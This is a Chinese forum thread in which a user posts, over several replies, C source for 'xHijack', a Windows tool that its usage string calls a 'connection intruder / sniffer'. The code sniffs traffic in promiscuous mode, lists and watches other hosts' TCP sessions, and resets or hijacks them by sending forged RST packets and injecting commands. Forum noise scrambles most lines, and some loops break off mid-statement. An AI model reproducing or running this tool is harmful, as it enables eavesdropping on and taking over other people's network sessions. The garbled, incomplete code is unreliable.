//功能:重置所有于ACTION有关的标志 - v0 G  m, F- v+ [% a( l. I
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag() 0 g1 G! Z! m* _# i9 J. x( R: {
{ ; h! Q$ C4 e% K
  g_dwCtrlConn = 0;   r1 c2 T8 _* s! D) b
  g_pCurrCtrlConn = NULL; ! L$ a  V, B3 n& O  B3 A0 |5 |
  g_dwAction = ACTION_NONE;
, U# @# V# v3 J} 7 M3 Z! m0 n2 X5 G

$ K  d  T1 _) Z// ) Y9 z1 A  ]2 C- O
//功能:处理Ctrl+C和Ctrl+Break事件 " D3 B4 h  Y# X/ q; |
// & d& j+ P. I- B! H
BOOL WINAPI CtrlEvent(DWORD dwCtrlType) - ]1 v& t+ ]; @* H
{ * c5 e  R$ l$ P8 U' y. v" d
  switch(dwCtrlType) 3 B% ]+ j7 r& n) J
  { ) i2 b& I- N6 F) ?3 W  d
    case CTRL_BREAK_EVENT:
, V* n: T% e4 K1 T! g0 ?      //reset action all flag
+ y/ U: i7 M( [4 O! x2 r" {2 z      ResetActionAllFlag(); " t! P8 ]: `6 l  Q
      break;
5 t5 \5 V. [! w    case CTRL_C_EVENT:
4 i) ~2 D2 P1 t0 r      //terminate all thread 9 r, c# K. N8 l
      TerminateThread(g_hThread[0], 0);
+ a! x0 \- }, e. S: B      TerminateThread(g_hThread[1], 0);
& J. U+ b, F2 F) `      TerminateThread(g_hThread[2], 0);
! }% ]& K$ I% T" E# y+ P8 P      TerminateThread(g_hThread[3], 0);
6 R% [: w* Q" ]; r      break; 6 ~9 q+ F) s/ o2 w
    default:
. y0 O# b2 x1 g# v9 D5 ^      break;
0 K2 i% _5 Z3 m% a! R6 S( C  } + F6 z' W2 k) L9 A
  return TRUE;
2 Q* _, ~' E1 m, S4 i) c$ [: [* P} 2 n8 @% A- h. N7 z) o4 k

: E  f% A0 G4 b$ ^9 N1 I//
7 X, Z; d8 a$ H2 B. ~//功能:处理用户输入 ! f% l& C. c7 `$ r
//
7 e# r2 [) ]- c$ B3 k/ u6 h3 vDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
8 p* a: g0 R: ?  G# w0 e( ?! q{
( M3 v" H6 B6 R( p# ?5 c  DWORD  i;
4 l' s0 E% v3 L. C  char  szBuff[16]; & e6 @  T8 X# a5 c* M# t" S

  C/ C8 @" q2 X2 }% P0 y' l. u; v  *lpCommandPos = 0; 2 z, h, f( c3 @' ^  R* T( c
  for(i=0; i<15, i代码比较乱 " ]& o" V2 h: D+ ~0 |2 b* k
//
$ }$ h. F& b# MDWORD WINAPI InterfaceThread(LPVOID lp)
' {) W& q9 J; d0 M+ {9 [0 T{ 7 F( C8 `; G6 ?- a/ }6 N/ t+ r
  char  szHelp[] =  "l\t\t<-- List all connections\n" & n7 d( n7 c8 I) d# K; ?* V6 J3 o
            "r x\t\t<-- Reset the number x connection\n" 5 P: _1 n% d% t. U  L  U
            "w x\t\t<-- Watch the number x connection\n" 8 G0 R* U# s; a- ~6 e% Q. c: o
            "h x command\t<-- Hijack the number x connection to execute command\n" % ^6 P, M3 Y3 B* V( e8 R0 m& S+ s
            "[Note]\n"
" o" M  ]% M1 c5 q! k2 u            "Ctrl+Break to clear all action\n" 7 x3 B2 ?; @3 u$ ?% b6 o& B1 Y
            "Ctrl+C to exit\n";
, C- G# t( `& @  char  szPrompt[] = "\nxHijack>";
! k/ ^+ f" ~; I0 I5 j' r" Q  char  szBuffer[128];
+ X* f1 [! `* h8 k9 {8 U# I  DWORD  dwPos; - }8 i" @& \" I2 [; f
  PCONNINFO  pTmp;
' b' W# c8 M- w5 [8 P6 V) s' c& m2 R/ w3 T' ~* v) q. a
  while(1)
+ j4 Q" ?  K+ E; ~9 G, W/ J1 B  {
0 g, g' N; R4 N' v2 _/ n! [    gets(szBuffer);//不考虑buffer overflow ( f# p& `$ a9 `% a0 Q8 G
    switch(szBuffer[0])
0 t5 x9 b  i& i' Z- n$ C    { 5 m; E0 g5 {( j9 u, a  e
      case 'l':
+ e9 s* U4 D8 X3 z8 q      case 'L':
& c/ ~; c; v, E1 g4 }1 c        ListAllConnection(); * t) X8 E% f4 p: z. N( Y" G
        break; / k, S( {2 y& _* R
      case 'r': # W  k. P/ l# t# L  t# }# y% Y3 a
      case 'R': ( x, S4 e: P' J. {
        if(strlen(szBuffer) >2) % z6 g! ~2 Q% ^( g$ v% ]1 P
        {
/ r3 s1 R3 Z  c- c) H7 h          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 9 {3 n# p$ a3 v8 l3 A
          g_dwAction = ACTION_RESET;
1 l; G, b# M& d3 o        } ; |! K$ Y6 x3 R0 g* V% n
        else printf("%s", szHelp); / B+ W: s6 ^2 Q/ d
        break;
* t4 d  o6 B% V' ^0 W' g      case 'w': ) f% x/ s5 J+ c1 \# b4 j+ d5 Z! s
      case 'W': 6 m" i! z$ @, S- F
        if(strlen(szBuffer) > 2) : ]- [# M+ P; o0 i  @8 `7 D
        { ' _) F9 H  j8 m8 l- \
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
2 u) U2 x* R7 p. d* @8 k% R$ i          g_dwAction = ACTION_WATCH; ' ?* {; G8 ]9 k; e2 c! d: ?: ~% m( ~
        } " N( Z7 g' R# Q# Z
        else printf("%s", szHelp); ( E5 J7 W% B$ U+ H) l# a
        break; % C3 n1 l: b+ p& e
      case 'h':
5 n1 I2 O  a( y" {; U+ `% t2 ~      case 'H'://h 1 xxx
) L5 ]" w) `3 o9 L7 i# j        if(strlen(szBuffer) > 5) % R8 {$ y4 }' X" R4 n( p. t
        {
/ t; w) q6 z; L3 W+ L, c$ _  L          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ; z+ w+ k+ s6 T2 ?
          //如果command第一个字符是'或"
: u* w8 B1 ~0 _          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
6 H, B4 K! T0 ], W          { + j* p3 G4 |4 x" F- R; X: p8 P
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
; r$ n1 }1 t: L, p7 A7 s! t            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" 9 ^  e/ P; c/ `
          }   E# a. J( X7 {: J% J7 m
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
7 i" `$ Y& o5 f  Q          strcat(g_szCommand, "\x0D\x0A");
1 j, b* E. z! m# y& U3 t7 n* Y3 T          g_dwAction = ACTION_HIJACK;
& P7 g- ]2 |$ H& e' M% U% E! q* ~        }
# V- Y' n- C7 u4 R( q$ P        else printf("%s", szHelp);
! L" T8 ^9 D2 P. j) B; Y8 ?        break; + |4 u( {2 @1 V9 T& V
      default: ( h: V$ q4 }2 @( K, D* H, V
        printf("%s", szHelp); ) p+ z: o4 l8 w) Q; w0 R
        break; 6 i' ?* k9 s" u  U8 c
    }//end of switch
# v, v# M9 @) j, m, Z    //find the specify ident's struct point
) z5 n& j* v8 I9 ^2 }( R, n' R    if( (g_dwCtrlConn) && (g_dwAction) ) ( ?  y1 Y5 j) K+ z' E- j- L. b
    {
5 D& M7 y  n, r! {/ X* Y9 m      g_pCurrCtrlConn = NULL;
) n/ L7 S5 U: H      pTmp = g_pConnHead; 6 D2 Z/ H# s, }1 e! _6 Z
      while(pTmp) # p8 w: d- T5 g: {/ Y
      {
; j0 M. W( n2 F7 Y* i        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
3 l# q, ^3 q' a/ S! N4 A: V) O8 i# z; z        { 8 m; z! {" }7 g, ^) z
          g_pCurrCtrlConn = pTmp;
% T2 K' r  f3 @! v! o( U          break;
: l3 p, _, v/ s7 l, e6 L; q        }
6 v+ G6 C% c; N" S5 G- N& q        pTmp = pTmp->Next; 8 b$ I& s' g! R/ {* X4 U' e
      }
3 \- E' C) z  Y( A# S$ P' P0 e# {      if(!g_pCurrCtrlConn) / u! e0 \+ I+ {
      { 4 C" Z1 M# _% w4 b7 B6 y- {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
. ]7 h1 @+ N: S: W# Y& M8 [' ~        //reset action all flag
$ k% ?' Q. J6 ]) x) ~        ResetActionAllFlag();      
3 |( c% x' F# l3 h) N      }
/ b) @8 V' ~' B9 X, w4 H    }
# K' B4 K# q% |5 N- c1 m" a! P4 _5 j    if(!g_dwCtrlConn) ResetActionAllFlag();
2 _- @- ~1 O1 K8 v* o    //显示当前用户所期望的动作
4 a) x% [  a, d; Y    printf("\nCurrentAction:"); 3 z8 d. ]8 @# M2 V0 q
    switch(g_dwAction)
/ r- S0 N# h; Q# F* \* O7 E) [4 O    { 7 i0 Q( i4 f, L2 |
      case ACTION_WATCH:
% n; n  V# r: w8 l        printf("ACTION_WATCH"); ! S/ n  }3 l; S4 U( @
        break; / {, D) a; q( t( m7 p& D
      case ACTION_RESET: , z6 P8 x. A, S  T/ y* x, Q
        printf("ACTION_RESET");
0 N, B9 t- ~2 s        break;
4 u: |0 o7 @0 v: f5 d* d      case ACTION_HIJACK:
6 J1 u! }- q% S! t0 h) W6 w( }6 W        printf("ACTION_HIJACK");
( ?6 u' G  {( o7 ~4 w- \# L        break;
& y$ u. f; |7 U      default: 7 m8 X+ N  {  i
        printf("ACTION_NONE"); ! d6 r7 f' g: a3 l
        break;
1 ^! }$ @: I# D  k    }
0 i2 I4 ^. ]4 N% Q+ |! k6 O    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
' z- h6 v+ n. a8 N0 {( z  }//enf of while
7 ~/ V% ?4 D9 x4 |/ r  i1 J7 m  return 0; : Q- X: S$ ^$ K* J8 ]
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// : H+ \3 K) K* }! M+ [6 ]//功能:列出当前所有连接 - T) H, U! u: e1 z. C$ h) x* f // 2 C" a7 F9 Y7 \! U$ {3 s# V4 Wvoid ListAllConnection() 6 T/ u: T6 H' b- S; K{ % X( S% F9 f! b! W* N PCONNINFO pTmp; ( K/ ~' s) K% Q8 ? SOCKADDR_IN saDest, saSource; 8 t" f! `4 |/ Z; f) I9 }5 ?1 _ pTmp = g_pConnHead; / \ W0 |" q$ p) D N while(pTmp) 2 b6 b( b& Z9 q0 V, Y# B { , E. G) G6 v& U e: v9 b if(pTmp->bActive) + n# G( B6 S @) E: f. [" a4 a { 7 }7 w7 B% `3 h6 m, Q saSource.sin_addr.s_addr = pTmp->dwServerIP; , p8 V8 d. j1 C saDest.sin_addr.s_addr = pTmp->dwClientIP; 3 \3 _+ }8 M2 R( j& Q3 o1 a d5 C printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 6 i1 p+ c. v5 K6 k' Q6 u8 c% L ntohs(pTmp->uServerPort)); $ E$ R( [& `3 `7 u0 C printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); . C: ]1 I, W7 @) V Q; w7 S. G } , I0 I, }% j' l& d; N& p4 a7 V4 h pTmp = pTmp->Next; * X2 N, l! ^+ z8 l: f6 [: S } 4 A6 P8 Q2 T$ G5 @; v} : }& F0 o$ {/ M# Y5 H D4 B4 e* w# U& k- X1 A' j; K1 A // , b" w2 m: t: w9 {4 W. U" s//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 & r: o F+ T! A6 y1 ]( l4 s- v // : }- G" g0 D1 g/ Q% W) i, j# |LPADAPTER InitAdapter() * t% B% d+ V& |0 R# i; Z { $ M' r+ _) l/ a$ D5 M7 }0 r U LPADAPTER lpAdapter; 2 ~$ V" s/ J& U; r" y static char AdapterList[Max_Num_Adapter][1024]; # X/ y# \$ \. @& u# C0 f3 F: D char szSelectAdapterName[512]; ( D2 O) ~1 p! _ WCHAR AdapterName[2048]; 8 b+ c/ Z% i8 B+ u# B" R! B WCHAR *temp,*temp1; . T) s! r* k7 c$ t( b2 t ULONG AdapterLength = 1024; r7 T8 G) n( |+ O$ b, w int iAdapterNum = 0; # w: E$ k0 w0 P0 e4 ` ^2 U int iRetCode, i; , Y4 L8 r- {: n$ \9 w int iAdapter = 0; ) m0 e' \0 W( s# i7 W+ ]) u2 S ULONG ulLen = 0; 0 n+ C7 J3 H7 U) {: H DWORD dwRet; 8 j# k- ]! R) R6 f' V! T PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; # A; w( a5 P4 R' b9 G8 t2 Y PIP_ADDR_STRING pIPAddr; , Q8 J! R3 p' _5 z; Z x : s+ n9 \' d: z6 e/ v, b //Get The list of Adapter & }% `4 ]1 n$ W$ d/ G G if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) : Q. c, {. W3 b, n% o$ b { " k9 { E) a6 j3 q- B3 e printf("Unable to retrieve the list of the adapters!\n"); ]. N- `1 t8 r V: v. C return 0; 9 x+ R ?8 _/ X: l7 F, d6 a7 l2 E } + G: \& C3 ?+ `2 P* J6 U% M. `/ k7 E temp = temp1 = AdapterName; + ~; }7 q4 s B A% z+ N4 S2 t* v3 l i = 0; / u ?2 y$ F4 }4 e4 m while ((*temp != '\0')||(*(temp-1) != '\0')) ) J& c! f" u& W { 7 ~0 u4 g$ F! Q' X& a- o/ B9 k: ` if (*temp == '\0') , I0 d4 q, w$ f3 L& j" y { 3 G) s9 |) _: _& w: X+ l memcpy(AdapterList,temp1,(temp-temp1)*2); * M3 w" k/ P! C+ _4 l6 x printf("%d - %S\n", i+1, AdapterList); * [% p) [5 H# O$ \' H2 _1 X6 D1 K; G temp1=temp+1; n1 R7 ?/ V0 l c3 t! f i++; ; S) D+ f8 h. C9 q } ?$ i( X0 t' Q$ l" g temp++; 4 Z" ]0 C: y1 z4 d I, J; N; { } - H H+ Z, \/ I4 M0 w- q //choose adapter % _* \$ U; P1 n, E& Z while((iAdapter <= 0) || (iAdapter > i)) " D+ H' ~7 n9 [ { $ x4 s) f" e2 U, D' t printf("\nPlease choose your Adapter:"); & U, x0 R3 q0 Z( l6 c, ~, m! M6 n7 N% v scanf("%1d", &iAdapter); 3 L) o" C9 w* f' A8 F } 7 c6 ` y1 F5 m7 H$ t) \" X7 W4 Z printf("\n"); , N. g9 V0 C1 w, g //---------------------------------------------// / d2 l3 x& i- q( ~0 z' o* H2 N //这里调用iphlpapi来取得本地ip_addr和mac_addr 8 A& A' ]; N) b, e- `- `( u sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); + B, c; ^3 l% L- ` dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 5 t- F. t! h4 j* K9 M/ h if(dwRet != ERROR_BUFFER_OVERFLOW) & w% S. m. h, R$ J" }: F { 3 L$ \, g: Q' T. @1 [/ U printf("GetAdapterInfo error:%d\n", GetLastError()); : l \( M7 M9 A. U: i7 W6 ~ return 0; 3 g& a5 @5 m \1 n0 B% Z } 0 A4 j G9 _# o pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); ! \$ y# g. j, H7 c/ m9 W: ^ if(!pAdapterInfo) O$ E# ]0 g1 q { 4 e& }9 M* Q% ]+ ^4 l$ y7 j printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); - X( ^- M6 J9 i. a return 0; # ?. K! G' G1 S' U3 j6 s2 D } : b8 X% {, n1 Z- Z3 j dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); # v4 d! s4 T _& i' d if(dwRet != ERROR_SUCCESS) . h# y4 u" P( N' B h { 9 d" n4 z$ ^) g) X printf("GetAdapterInfo error:%d\n", GetLastError()); 9 B/ R$ d: K7 N( ~4 V return 0; $ W) C9 s$ g( w! i" B, M } B' o, B. ^- T6 N; ~ pTmp = pAdapterInfo; 9 H: m+ H2 a. e while(pTmp) ) l7 Z0 e$ l! c- { { " Y$ {1 t" z. `5 X# G( P/ c //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 8 Q' V! Y1 }$ |) ?! _7 E6 L4 R { ( e9 H S( Q8 k# P8 T //found it,get own adapter mac address * ^+ G: U% {* H9 U memcpy(g_szOwnMAC, pTmp->Address, 6); + t s- j, i3 G7 K, k //get ip address : N6 B6 m6 [$ K) b8 p8 ^, R pIPAddr = &pTmp->IpAddressList; . i3 J- F$ _7 c1 {/ b. F4 r, H while(pIPAddr) 0 _$ A3 y4 ]. W2 ~$ U5 i# s { ( C& Q3 J7 \, z* ^ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); & j9 H7 f# h: r8 e4 c7 ` pIPAddr = pIPAddr->Next; 3 T" m* `( a7 G1 h. k9 {( k if(g_TotalIP >= Max_Num_IPAddr) break; + J F0 n6 J0 ~/ T8 ^ } 8 L! s! X) P6 r$ Q break; & E" v: Q4 e( r* x } * i+ ?3 H' i, ~8 N" i, J1 |2 @* k pTmp = pTmp->Next; * P: G0 w, m0 `, ~0 ?* T5 C, R } ( j m" E# a) B( V2 d- G) f0 c# J free(pAdapterInfo); 7 H) n/ ]! g0 r9 g //not found,return zero 2 |4 f/ X3 Y+ Y: R% A' z if( (!pTmp) || (!g_TotalIP) ) return 0; 4 A2 D, s! v" W j+ [$ x //---------------------------------------------// 4 j. U) P% Q, S9 d- C //open adapter 5 }& @' t5 q3 Q6 a0 a lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); 1 A) \0 E0 y( E5 v if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) , x4 b1 j! A; Z { Q; q- Z: R0 ]; [: M9 c: d1 } iRetCode = GetLastError(); 4 U. p9 f, j, _1 {1 R printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 9 ^! A: b; P+ v' r0 ~ return 0; - J$ y& @0 F* H0 u } % M; r" C! Q% A' g: q) M9 R // set the network adapter in promiscuous mod 6 I" g. E# j3 s+ ^$ c: K6 m/ V+ q if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 0 D: K+ p G8 q5 f2 T" u8 T { " H" s0 q( J# @- R0 S2 @* v) V! U printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ) f8 Q h/ |: f; v4 U/ k2 A0 X& C if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 1 E& ?( c9 ]* p, s3 J4 ` { ( V. I H" @+ F8 s printf("Unable to set ALL_LOCAL mode!\n"); 1 V9 z/ V! U! n$ l9 m return 0; - _! ]7 ?, j. n& j } 8 R% Z4 K' Y/ S# ?# j7 i+ b; @! N } ' E- g8 |$ _# J/ G& i // set a 512K buffer in the driver 4 t$ B) U3 n2 {/ G5 O+ o; n if(PacketSetBuff(lpAdapter, 512000) == FALSE) % H5 r% s9 @# C6 g+ `. ]& j6 |+ S { ( K* C Z! E% J/ R0 F) Y$ v+ N* r printf("Unable to set the kernel buffer!\n"); : y2 K v+ ?' w7 X return 0; + d9 w+ ^& [7 d2 I9 U0 G0 A } ( c/ I6 e, v4 x8 i // set a 1 second read timeout 8 A' J* s Q+ [. P if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 2 i3 O) X: i) i: n printf("Warning: unable to set the read tiemout!\n"); 5 G. I4 Z1 {+ Z) c. o$ p if(PacketSetNumWrites(lpAdapter, 1) == FALSE) $ L& _; D. H) V* l, V7 W! r printf("warning: Unable to send more than one packet in a single write!\n"); ' U6 v% B5 n& V //设置发送的packet 0 Z+ C& R/ L. t$ k2 F4 E g_lpSendPacket = PacketAllocatePacket(); / x2 ]( Z2 T; a* n if(g_lpSendPacket == NULL) + W V! J* P0 L3 T { ( t) \! B2 G: k$ t' T3 s* B printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 1 g! w3 p4 a: M8 s* c$ j return 0; 6 q1 d6 C; R* R0 z# z } 9 t9 a/ a3 ]- H# q ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); " S5 e0 z: d; z' e) P4 k" D; Z1 o. M PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); # V6 Y9 t! V& R7 U, L0 W, t return lpAdapter; ; v) D+ @/ K1 i( m& @! u; Z. F } 9 I: V" V9 R: K" ^7 \% q+ T % b! S2 q) x; m: e( [0 z. }4 ^( I//功能:帮助信息 ; q0 b3 q# ]1 \/ ~- M U1 xvoid usage() ; _# N* ?9 ?, Q6 N5 _( S5 A: g; `{ - m3 u% d; M# h2 E1 }$ K( L, W printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" + _* K4 V: o5 U* W( K* r "By eyas 2002/8/19\n" 1 b9 ?6 U) C- d$ z) ? "http://www.ey4s.org\n" 4 Z( c, I3 X. c( ]5 ~ "Thanks to Refd0m and shotgun\n\n" ) h& ~3 M7 H& N; K3 o$ L; J5 [ "Usage: xHijack ServerSide ClientSide\n\n"); 6 s) v* t; @! [2 L! B( e9 L} 3 k2 p. t0 a; @3 |1 J" A }8 B# j3 v ! r. Z1 f$ n: k( F// % D8 G( d5 |% `' _& ^" m //功能:显示数据包的一些详细信息 : v, r, A4 E& }" t5 ~* { // - R& r; n! H. M; HVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) ; s3 l7 `1 }8 F8 { { 6 \' {$ ?0 ]7 H4 X& q SOCKADDR_IN saDest, saSrc; 7 L9 b: q6 h! G2 d7 Z unsigned char FlagMask; 8 V- C9 m" G/ t/ L* _ int i; 1 h: R1 n6 ?# s4 H$ s ' z! D% B$ }. ? i saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 6 o2 w$ {) ]( i2 \5 ?2 _' ` E saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; + S. a1 g0 N/ ^5 k printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); ( M, K/ T# X$ Y: l3 I printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 1 o$ X# }+ E/ ~4 d j/ S7 g ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 3 o+ N+ F: S' E //display TCP flag # J0 M+ u) y* @; r7 h5 f( _: l for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 7 U8 f) h: Z' d3 R { ) L( s' X1 P% B/ i8 r# @0 L# A- K% _ if((pTCPPacket->tcphdr.th_flag) & FlagMask) # Z. \3 P& n- l6 o& s8 A2 k printf("%c", g_szTcpFlag); 7 W, x7 H4 y2 B, r5 V else printf("-"); : m3 u: {, d- w- z; B# J/ w: I, ~ } # o7 T* K; z( J& }) t* m printf("\n"); 8 D1 H4 i0 Z( e //如有需要,可显示更多详细的信息 0 ~7 F: h; |+ W9 f if(bDetail) $ e' ]6 Q& Z8 _+ r printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); H3 M4 ^6 M8 |2 W+ G } 9 n2 b+ T& I% m/ J. D 2 {" @/ }8 R4 `2 L // ! b+ B z! X; I+ g% a//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 1 }( ^) f' }% B; I3 @ // 1 j* @1 |0 `4 o3 n4 }1 k) q* u DWORD WINAPI AnalysePacketsThread(LPVOID lp) % H0 J% Z8 H# [% G2 p3 V{ $ r! R6 p2 ^# K9 V/ P6 x6 h" T8 Y* z5 z ULONG ulBytesReceived; 2 |% f$ M, Z" F* B USHORT usDataLen; . ^; f3 H9 T2 Z& ~ g9 Y% a) v4 J+ t# [ //USHORT usIPHeadLen, usTCPHeadLen; ( ~+ B1 ^1 J' c% ?4 S F( z5 U char *buf; $ z% A& {5 Y, F1 z. p u_int off, i; ( u8 G1 N6 E0 L PTCPPACKET pTCPPacket; # Q" v; P& [4 w struct bpf_hdr *hdr; $ w& o$ g9 m3 j3 ? LPPACKET lpRecvPacket; ( |7 d; f) A& w5 w char szPacketBuf[256000], *pStr; 4 H% m' S k B$ L BOOL bDeleteNode, bAddNew; / f7 _* |2 s+ U; ]- _) F DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 / E0 e$ @, R! I1 x4 } BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ) | y0 ]6 [- y# {9 s- D+ g , z! L" ~* E* y* U //设置接收的packet 4 y9 I1 A# M( M. T0 b lpRecvPacket = PacketAllocatePacket(); ; k& u1 v6 d1 m6 ^: n. O* m if(lpRecvPacket == NULL) 0 \1 j/ I% r7 _, ~ { 2 }) R" p; W' r- J printf("Error:failed to allocate the LPPACKET structure for recv.\n"); # ]* A% K1 Q# W& p7 x' X return 0; 0 }% ^; O" y1 L) H, v } 2 F2 D4 s- E4 K ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); ! t+ v- n% t: ~! z7 k: {3 c PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 1 g# ]6 T, u$ R, d# q7 R while(1) 4 Y' Z& @5 N8 u; ?' V { 7 y% u8 Q1 E& `9 D! c* }7 u // capture the packets : Q* w0 o6 ]6 j8 h4 J Y$ j if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) / f; R) b$ T9 b/ [5 H { 9 y& ?7 |/ @" v5 U& p printf("Error: PacketReceivePacket failed.\n"); 8 p( R* Z' `2 M% C break; " N+ S1 v- p8 n } ( l0 w( V; r+ g3 t" s5 H1 F ulBytesReceived = lpRecvPacket->ulBytesReceived; % o4 V( N* W/ i% e( [0 k: _" n& W buf = lpRecvPacket->Buffer; + X4 {" ?0 U2 |( ~/ M off = 0; 5 j2 x3 c. q* u: r while(off < ulBytesReceived) , W+ c- W( ]* |, h { ; k; ?& g" T$ y hdr = (struct bpf_hdr *)(buf + off); 2 o4 e& c4 v4 C: `5 U& v8 g off += hdr->bh_hdrlen; 4 b# F Q8 v, `1 L( o7 p N% J pTCPPacket = (PTCPPACKET)(buf + off); - A' H, h! b3 F- S, v: \ off = Packet_WORDALIGN(off + hdr->bh_caplen); & t" _) e' |: _$ `3 E+ O //不需要处理自己发出的包(转发或本机发送的) 1 c) A4 W8 l z2 v if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 5 t4 f& ^, F- C8 o$ u4 z* P0 C //检查是否IP包 ' m, h9 p2 E/ f% U% H if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; ' p0 U4 A1 N3 @& h( B; Q* ~: \" O8 u //检查是否TCP包 ( q' N9 y- B }% } if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; " ^5 O2 X3 J# ^+ t9 [ //也不处理DestIP是自己的包 # K+ m; T) L+ M& P- T for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
( V# v* M' ?3 h7 K8 O+ P            //reset action flag
8 T" V7 n) P' B( G7 ~0 w7 z+ h# ~            ResetActionAllFlag();
0 S) q, `# ]5 I% H4 {$ S/ O          }
/ f: x8 t( C0 S3 b6 V          //start hijack ; Q1 C+ P0 T8 {, v: e' X
          else if(g_dwAction == ACTION_HIJACK)
! L1 W8 h% G) i          { 4 f1 g+ u& ~% A
            //send rst packet to client , b  |) K2 o: V% e. J, Y) g5 ~2 W% D
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); ! x- J: L4 v1 ?% ], i
            //send hijack packet to client
0 Z/ q7 J" o) N3 H* i7 q3 Z, m. s/ p            SendHiJackPacket(pTCPPacket);
: p0 v, t2 h0 {            //reset action flag ! C; z+ x1 J" t
            ResetActionAllFlag(); 7 e6 y, s, D( C2 C
          } 9 g* }) Q5 W. s5 e
        }
( v7 n& c8 D) n( r8 `        //show the tcp data
1 a  ~" d0 V3 m0 j$ r        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) 9 }' e4 q/ e! f4 r8 j( |5 }6 F4 X
        { % j# ^- ]8 l$ @9 p. ~
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 5 {: B, s- i& a& K0 e
          //暂不考虑IP、TCP头不是20字节的情况
# Y# m4 `) v2 k: o! p7 x! _          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 3 k# [) J1 b5 _  C
          pStr = (char *)pTCPPacket + 54;
1 i: d* m% k; {; W% @2 Z4 _          for(i=0; i        }
1 d+ A8 T* m- ?+ e/ F" C      }
' D, s$ {  G; j3 x1 @0 M      //debug output . ]5 T8 ^+ J+ C+ R! x; }
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 S$ x1 z7 `' a' ~" Y
    }//end of analyse packets while
3 t# t  ~, Q; O; m) Y  }//end of recv packets while 6 A; v' {* \; W+ |0 F' D
  PacketFreePacket(lpRecvPacket);
' B" R5 I: F3 v0 [1 A) C. o  return 0;
9 Y# \& p* G+ q) \}
5 Y9 M4 Y4 \! `% g
( K9 v9 F% \; c& F& ?3 i; P) r/ f8 C
, N7 I/ H' r  x* ?//
! f3 ]! ~' H* A( c* K//功能:操作记录所有连接信息的单向链表 * m( P' P" M& N
//
